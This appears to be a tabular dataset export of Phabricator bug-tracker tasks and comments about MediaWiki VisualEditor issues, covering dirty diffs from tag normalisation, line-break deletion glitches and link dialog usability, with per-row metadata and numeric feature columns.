223313,VisualEditor: Multiple empty lines turn into uneditable elements due to mwPlaceholder,"This has been fixed (by removing the mwPlaceholder code in Parsoid, now that VisualEditor can handle these). Sorry for not responding before.",,,1372007435,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-cxhnj4waa436ovh4o7lz,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,11.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,15.0,4.0,0.0,11.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,15.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.444444444444445,0.9629629629629629,"This has been fixed (by removing the mwPlaceholder code in Parsoid, now that VisualEditor can handle these). Sorry for not responding before."
50830,VisualEditor: Invalid or non-matching tags should not be normalised in unchanged sections of the document,"In this edit the user only made the ""die -> der"" change. In addition the </small> was removed by the VisualEditor.

http://de.wikipedia.org/w/index.php?title=Fu%C3%9Fball-Bremen-Liga_2012%2F13&diff=118880158&oldid=118873211

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
T52052
T52050",Medium,50.0,1369561740,1642380960.0,PHID-USER-7n5fvppwj4ueprv2iuys,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-c3wc4a6vunygqboimdkx,task_description,resolved,True,c1,1,True,False,False,-6,,0.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,17.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.3,0.5833333333333334,"In this edit the user only made the ""die -> der"" change. In addition the </small> was removed by the VisualEditor.

URL

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
T52052
T52050"
1845920,VisualEditor: Invalid or non-matching tags should not be normalised in unchanged sections of the document,"Parsoid's ""selective serialization"" has been improved greatly since 2013 and this should not be occurring any more, unless content in the same paragraph was changed in the edit. Please re-open if you run into similar dirty diffs that happened within the last year or so.",,,1642380960,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-c3wc4a6vunygqboimdkx,task_subcomment,,True,c1,3,True,,,446,,2.0,0.0,2.0,4.0,2.0,13.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,15.0,0.0,0.0,2.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,9.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,6.0,6.0,4.0,6.0,4.0,9.0,0.0,0.0,0.0,0.0,6.0,2.0,2.0,0.0,2.0,15.0,2.0,0.0,4.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,4.264150943396227,0.9056603773584906,"Parsoid's ""selective serialization"" has been improved greatly since 2013 and this should not be occurring any more, unless content in the same paragraph was changed in the edit. Please re-open if you run into similar dirty diffs that happened within the last year or so."
222148,VisualEditor: Invalid or non-matching tags should not be normalised in unchanged sections of the document,"OK, then it's a different issue. Created a new one for it: #50050.",,,1371986974,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-c3wc4a6vunygqboimdkx,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,2.8421052631578947,0.8421052631578947,"OK, then it's a different issue. Created a new one for it: #50050."
222139,VisualEditor: Invalid or non-matching tags should not be normalised in unchanged sections of the document,"This is due to the merging of the 2 <b> tags. Currently it fails compare custom attributes like ""style"" when attempting to merge equal annotation sequences.",,,1371986731,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-c3wc4a6vunygqboimdkx,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,19.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,6.0,3.0,0.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,3.0,12.0,0.0,0.0,6.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,9.0,4.09375,0.875,"This is due to the merging of the 2 <b> tags. Currently it fails compare custom attributes like ""style"" when attempting to merge equal annotation sequences."
222131,VisualEditor: Invalid or non-matching tags should not be normalised in unchanged sections of the document,Other example: https://www.mediawiki.org/w/index.php?title=Git%2FConversion%2Fpywikipedia&diff=714194&oldid=713893 (not tag removal but tag property removal). The only real edit is at the bottom.,,,1371986436,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-c3wc4a6vunygqboimdkx,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,4.0,13.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,39.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,13.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5652173913043477,0.8695652173913043,Other example: URL (not tag removal but tag property removal). The only real edit is at the bottom.
50829,VisualEditor: Write test cases for ElementLinearData#getAnnotationIndexesFromOffset,"

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1369560000,,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-7lzwyjbh5q62jpz2njvq,task_description,open,True,c1,1,True,False,,-6,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.277777777777778,0.5,"

--------------------------
**Version**: unspecified
**Severity**: enhancement"
50796,VisualEditor: Deleting a line break causes strange results,"Steps to Reproduce:

1. Go to https://www.mediawiki.org/wiki/API:Alltransclusions
2. Insert a blank line after the first paragraph.
3. Use the Del key (not backspace) to delete that line.

Rather than deleting the line, the first keypress (sometimes) does nothing. And then the second keypress finally gets rid of the newline, but attempting to save the page shows a diff with the newline still added.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1369423680,1372007371.0,PHID-USER-ea6gwat27oulytc5tvsy,False,,False,PHID-TASK-ftjpfhlr3dsluwcrrpaa,task_description,resolved,True,c1,1,False,False,True,-6,,0.0,0.0,0.0,0.0,1.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,6.0,8.0,1.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,11.0,0.0,2.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,3.0,3.707070707070707,0.6060606060606061,"Steps to Reproduce:

1. Go to URL
2. Insert a blank line after the first paragraph.
3. Use the Del key (not backspace) to delete that line.

Rather than deleting the line, the first keypress (sometimes) does nothing. And then the second keypress finally gets rid of the newline, but attempting to save the page shows a diff with the newline still added.

--------------------------
**Version**: unspecified
**Severity**: normal"
219887,VisualEditor: Deleting a line break causes strange results,This was fixed in the re-write of deletion handling in CE; sorry for not marking it as such beforehand.,,,1372007371,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ftjpfhlr3dsluwcrrpaa,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,4.0,4.0,9.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,26.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,26.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.6956521739130435,0.9565217391304348,This was fixed in the re-write of deletion handling in CE; sorry for not marking it as such beforehand.
219884,VisualEditor: Deleting a line break causes strange results,"Created attachment 12390
Bug in Firefox 21

The described problem is slight different for me (Firefox 21)

When inserting a new line and then deleting it, the paragraph is swapped with the next one.

Although both paragraphs are still present on the visual editor, the edit diff shows that the first one has been removed.

**Attached**: {F10655}",,,1369425726,,PHID-USER-jnta3z3spxto3vbxdngm,False,,,PHID-TASK-ftjpfhlr3dsluwcrrpaa,task_subcomment,,True,c1,1,False,,,-6,,0.0,0.0,0.0,3.0,0.0,11.0,3.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,12.0,4.0,1.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,8.0,3.0,0.0,0.0,0.0,3.0,0.0,1.0,1.0,1.0,3.0,0.0,0.0,0.0,3.92,0.7866666666666666,"Created attachment 12390
Bug in Firefox 21

The described problem is slight different for me (Firefox 21)

When inserting a new line and then deleting it, the paragraph is swapped with the next one.

Although both paragraphs are still present on the visual editor, the edit diff shows that the first one has been removed.

**Attached**: {F10655}"
50789,VisualEditor: Improvements and  behaviour changes to the link input widget (tracking),"There are essentially two ways to create a link:

#1 You enter the link's text, select it, click the link button (or CTRL-K), and choose the link target.

#2 You click the link button first, enter the target and get out of the dialog, at which point the link text (identical to chosen link target) will be entered.

I'm not sure which method users prefer, but it's clear that both methods should work seamlessly. However, with the current setup both methods are problematic:

#1 Once the correct target has been picked (either by entering it, or by selecting from the list), it is not quite clear what the user should do next. Is the back arrow the right thing to do, or does that cancel the selection? Should I simply click outside of the dialog, or does that cancel? It turns out: if the target was selected from the list, both these actions are correct and do not cancel the choice, but if the link target was entered by hand (and not followed by Enter!), both actions do cancel the choice. The fastest way is to enter the link target and hit Enter twice. This is all fairly unintuitive.

#2 With this method, the user will often have to adjust the link's text afterwards, for instance in the case of plurals or if the target article is disambiguated with parentheses. But it is not clear to the user that adjusting the link text is safe and won't create a broken link; indeed the crucial distinction between link text and link target remains obscure. (Changing a singular to a plural is especially difficult since editing links at the end is not allowed.)

I have checked the workflow of entering links in LibreOffice, Gmail and Word; they are all basically the same as in the Visual Editor, with two major differences: 

a) the dialog popup window has a clear OK button, and

b) the dialog popup window contains separate clearly labeled boxes for the link text and the link target. 

I believe both of these changes make a lot of sense.

When entering the dialog from an existing link or from highlighted text, that text should automatically be entered into the link text's box, with a corresponding suggestion for the link target preselected, but both boxes should be editable independently. The link target box should have a list of further suggestions underneath. Once everything is OK, clicking the OK button or hitting Enter should create the link; clicking outside of the dialog box or hitting the back arrow should cancel the action.

There is another minor issue: right now, when hovering over an existing link, the link target is displayed in a popup; when clicking on the link, a separate link symbol popup occurs which does not show the link target. The meaning of that symbol is not clear; it turns out that clicking on it will open the dialog popup, allowing to change or remove the link. Gmail solves this issue as follows: hovering over a link will not display anything, but when clicking on a link, a tiny popup appears giving the link's target and options to change or remove the link. I find that completely self-explanatory.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1369411380,1422402760.0,PHID-USER-zzvqlvm6i6kml4tfnqvq,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-jzom4aa22nn3mtwtm74t,task_description,resolved,True,c1,1,False,False,False,-6,,0.2857142857142857,0.2857142857142857,0.14285714285714285,1.1428571428571428,1.4285714285714286,5.142857142857143,1.5714285714285714,0.0,0.0,0.42857142857142855,1.0,0.2857142857142857,0.0,0.0,0.2857142857142857,0.7142857142857143,0.0,5.285714285714286,9.142857142857142,0.2857142857142857,1.0,1.1428571428571428,0.14285714285714285,0.0,0.5714285714285714,0.42857142857142855,0.14285714285714285,0.42857142857142855,0.0,0.5714285714285714,0.0,5.857142857142857,0.8571428571428571,1.1428571428571428,0.0,0.2857142857142857,0.14285714285714285,0.0,0.14285714285714285,0.42857142857142855,0.0,0.14285714285714285,0.5714285714285714,1.5714285714285714,0.2857142857142857,0.7142857142857143,0.0,0.14285714285714285,0.14285714285714285,17.142857142857142,0.5714285714285714,0.8571428571428571,0.0,0.2857142857142857,0.0,0.0,0.14285714285714285,0.2857142857142857,0.42857142857142855,0.2857142857142857,0.5714285714285714,1.0,0.0,0.0,0.0,0.0,0.0,10.0,3.2857142857142856,5.571428571428571,2.0,3.857142857142857,12.857142857142858,0.0,0.0,0.14285714285714285,0.5714285714285714,4.428571428571429,0.0,0.8571428571428571,0.0,2.2857142857142856,9.142857142857142,2.0,0.2857142857142857,0.0,0.0,2.2857142857142856,0.0,1.1428571428571428,2.142857142857143,0.0,2.857142857142857,0.0,0.14285714285714285,0.2857142857142857,3.9674968134130792,0.6517632447625584,"There are essentially two ways to create a link:

#1 You enter the link's text, select it, click the link button (or CTRL-K), and choose the link target.

#2 You click the link button first, enter the target and get out of the dialog, at which point the link text (identical to chosen link target) will be entered.

I'm not sure which method users prefer, but it's clear that both methods should work seamlessly. However, with the current setup both methods are problematic:

#1 Once the correct target has been picked (either by entering it, or by selecting from the list), it is not quite clear what the user should do next. Is the back arrow the right thing to do, or does that cancel the selection? Should I simply click outside of the dialog, or does that cancel? It turns out: if the target was selected from the list, both these actions are correct and do not cancel the choice, but if the link target was entered by hand (and not followed by Enter!), both actions do cancel the choice. The fastest way is to enter the link target and hit Enter twice. This is all fairly unintuitive.

#2 With this method, the user will often have to adjust the link's text afterwards, for instance in the case of plurals or if the target article is disambiguated with parentheses. But it is not clear to the user that adjusting the link text is safe and won't create a broken link; indeed the crucial distinction between link text and link target remains obscure. (Changing a singular to a plural is especially difficult since editing links at the end is not allowed.)

I have checked the workflow of entering links in LibreOffice, Gmail and Word; they are all basically the same as in the Visual Editor, with two major differences: 

a) the dialog popup window has a clear OK button, and

b) the dialog popup window contains separate clearly labeled boxes for the link text and the link target. 

I believe both of these changes make a lot of sense.

When entering the dialog from an existing link or from highlighted text, that text should automatically be entered into the link text's box, with a corresponding suggestion for the link target preselected, but both boxes should be editable independently. The link target box should have a list of further suggestions underneath. Once everything is OK, clicking the OK button or hitting Enter should create the link; clicking outside of the dialog box or hitting the back arrow should cancel the action.

There is another minor issue: right now, when hovering over an existing link, the link target is displayed in a popup; when clicking on the link, a separate link symbol popup occurs which does not show the link target. The meaning of that symbol is not clear; it turns out that clicking on it will open the dialog popup, allowing to change or remove the link. Gmail solves this issue as follows: hovering over a link will not display anything, but when clicking on a link, a tiny popup appears giving the link's target and options to change or remove the link. I find that completely self-explanatory.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
403707,VisualEditor: Improvements and  behaviour changes to the link input widget (tracking),Now tracked in #VisualEditor-MediaWiki-Links instead.,,,1422402760,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jzom4aa22nn3mtwtm74t,task_subcomment,,True,c1,3,True,,,82,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,36.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.454545454545454,0.9090909090909091,Now tracked in #VisualEditor-MediaWiki-Links instead.
219497,VisualEditor: Improvements and  behaviour changes to the link input widget (tracking),*** Bug 57716 has been marked as a duplicate of this bug. ***,,,1395197341,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jzom4aa22nn3mtwtm74t,task_subcomment,,True,c1,3,True,,,37,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 57716 has been marked as a duplicate of this bug. ***
219491,VisualEditor: Improvements and  behaviour changes to the link input widget (tracking),Turning this into a tracking bug as it's a lot easier to understand that way.,,,1378765753,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jzom4aa22nn3mtwtm74t,task_subcomment,,True,c1,3,True,,,10,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,24.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,18.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,12.0,0.0,6.0,6.0,0.0,0.0,3.7058823529411766,0.9411764705882353,Turning this into a tracking bug as it's a lot easier to understand that way.
219486,VisualEditor: Improvements and  behaviour changes to the link input widget (tracking),"at en.wp Mauro Bieg comments:
""The add-link dialog should have a clear ""OK"" and ""Cancel"" button. Right now, you have no obvious way to get rid of it and it is not clear what happens when you click somewhere else (the dialog goes away, but did it save the changes or not?) Also, what does the strange back button (<) to the left do? and are the Link-symbol and ""Hyperlink"" two buttons or a description or what (nothing happens when I click on them)? The trash symbol is good and does what you'd expect it to: remove the link.""",,,1375961000,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-jzom4aa22nn3mtwtm74t,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,1.0,5.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,5.5,4.0,1.0,1.5,0.5,0.0,0.0,0.5,0.0,0.0,0.5,0.0,1.0,0.0,8.5,1.0,2.5,1.0,2.0,0.0,0.0,1.0,0.0,0.5,1.0,0.5,1.0,0.0,1.0,0.0,0.0,0.0,9.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,6.5,2.0,7.0,1.5,6.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,5.5,4.0,2.0,2.5,5.0,0.0,5.5,0.0,4.0,1.5,1.0,0.0,0.0,0.0,1.0,3.317427884615385,0.7516826923076922,"at en.wp Mauro Bieg comments:
""The add-link dialog should have a clear ""OK"" and ""Cancel"" button. Right now, you have no obvious way to get rid of it and it is not clear what happens when you click somewhere else (the dialog goes away, but did it save the changes or not?) Also, what does the strange back button (<) to the left do? and are the Link-symbol and ""Hyperlink"" two buttons or a description or what (nothing happens when I click on them)? The trash symbol is good and does what you'd expect it to: remove the link."""
219479,VisualEditor: Improvements and  behaviour changes to the link input widget (tracking),"Adam Cuerden comments again on the suggestion to have separate boxes for link target and link title:
""Yes [that would be better], but do make sure it's on the same page. Don't give one dialogue, then a second. Also, if one of the boxes is left blank, it should be auto-completed from the other box. ""

For the second part of the comment they mean that if someone gives a link target (e.g. Fish) and doesn't specify any title, produce a link: [[Fish]]
If someone gives a link title (e.g. Hedgehog) but doesn't specify a target, produce the link: [[Hedgehog]].",,,1375212875,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-jzom4aa22nn3mtwtm74t,task_subcomment,,True,c1,3,False,,,4,,0.5,1.5,0.0,0.5,2.0,3.5,0.5,0.0,0.0,2.0,1.5,2.0,0.0,0.0,0.0,0.0,0.0,5.0,7.0,1.5,0.5,0.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.5,0.0,5.5,0.5,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,1.0,0.0,0.5,0.0,0.0,0.5,12.5,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,2.0,0.0,0.5,0.0,0.0,0.0,7.5,1.5,7.0,2.5,2.5,9.0,0.0,0.0,0.0,0.0,6.0,0.5,1.0,0.0,1.5,7.0,2.5,0.0,1.0,0.0,1.5,0.0,0.0,3.5,0.0,0.0,0.5,0.0,5.5,3.371376811594203,0.6852088661551577,"Adam Cuerden comments again on the suggestion to have separate boxes for link target and link title:
""Yes [that would be better], but do make sure it's on the same page. Don't give one dialogue, then a second. Also, if one of the boxes is left blank, it should be auto-completed from the other box. ""

For the second part of the comment they mean that if someone gives a link target (e.g. Fish) and doesn't specify any title, produce a link: [[Fish]]
If someone gives a link title (e.g. Hedgehog) but doesn't specify a target, produce the link: [[Hedgehog]]."
219477,VisualEditor: Improvements and  behaviour changes to the link input widget (tracking),"English Wikipedia user comments that the current behaviour of the input widget is not intuitive at all:

""I clicked the link tool while not focused on any text, to try and add a new link. I got a largely empty box with no instructions, and the next word in the article highlighted within the box.  I fiddled with it a few times, and still don't know if typing in the box A. changes the text of the link. B. allows me to select more words. C. Changes what is linked to, or D. is followed by another, nearly identical box for a secondary function""

To me this is further evidence that we need two boxes: one to enter the link target and one to enter the link display text. The second box would default to the same as the link for internal links and for external links either (ideally) the page title or (less ideally but probably easier) the filename sans extension. 

This would also fix Bug 50945 and Bug 51438 (if the latter is distinct from the former)",,,1375181899,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-jzom4aa22nn3mtwtm74t,task_subcomment,,True,c1,3,False,,,4,,1.0,0.0,0.0,0.6666666666666666,1.0,7.333333333333333,1.0,0.0,0.0,0.6666666666666666,1.0,0.3333333333333333,0.0,0.3333333333333333,0.0,2.0,0.0,5.666666666666667,10.0,0.0,1.3333333333333333,0.0,0.3333333333333333,0.0,1.0,0.3333333333333333,0.0,0.0,0.0,1.0,0.0,3.3333333333333335,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,1.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,13.333333333333334,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,8.666666666666666,1.6666666666666667,5.666666666666667,1.6666666666666667,3.6666666666666665,10.333333333333334,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,2.3333333333333335,10.0,3.0,0.0,0.6666666666666666,0.0,2.3333333333333335,0.0,0.3333333333333333,1.3333333333333333,0.6666666666666666,0.3333333333333333,1.3333333333333333,0.0,0.0,3.79511224779767,0.760940608127309,"English Wikipedia user comments that the current behaviour of the input widget is not intuitive at all:

""I clicked the link tool while not focused on any text, to try and add a new link. I got a largely empty box with no instructions, and the next word in the article highlighted within the box.  I fiddled with it a few times, and still don't know if typing in the box A. changes the text of the link. B. allows me to select more words. C. Changes what is linked to, or D. is followed by another, nearly identical box for a secondary function""

To me this is further evidence that we need two boxes: one to enter the link target and one to enter the link display text. The second box would default to the same as the link for internal links and for external links either (ideally) the page title or (less ideally but probably easier) the filename sans extension. 

This would also fix Bug 50945 and Bug 51438 (if the latter is distinct from the former)"
219473,VisualEditor: Improvements and  behaviour changes to the link input widget (tracking),(inspector->input widget; inspector is the context menu with buttons to open a dialog or input widget),,,1373539718,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-jzom4aa22nn3mtwtm74t,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,42.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.578947368421052,0.9473684210526315,(inspector->input widget; inspector is the context menu with buttons to open a dialog or input widget)
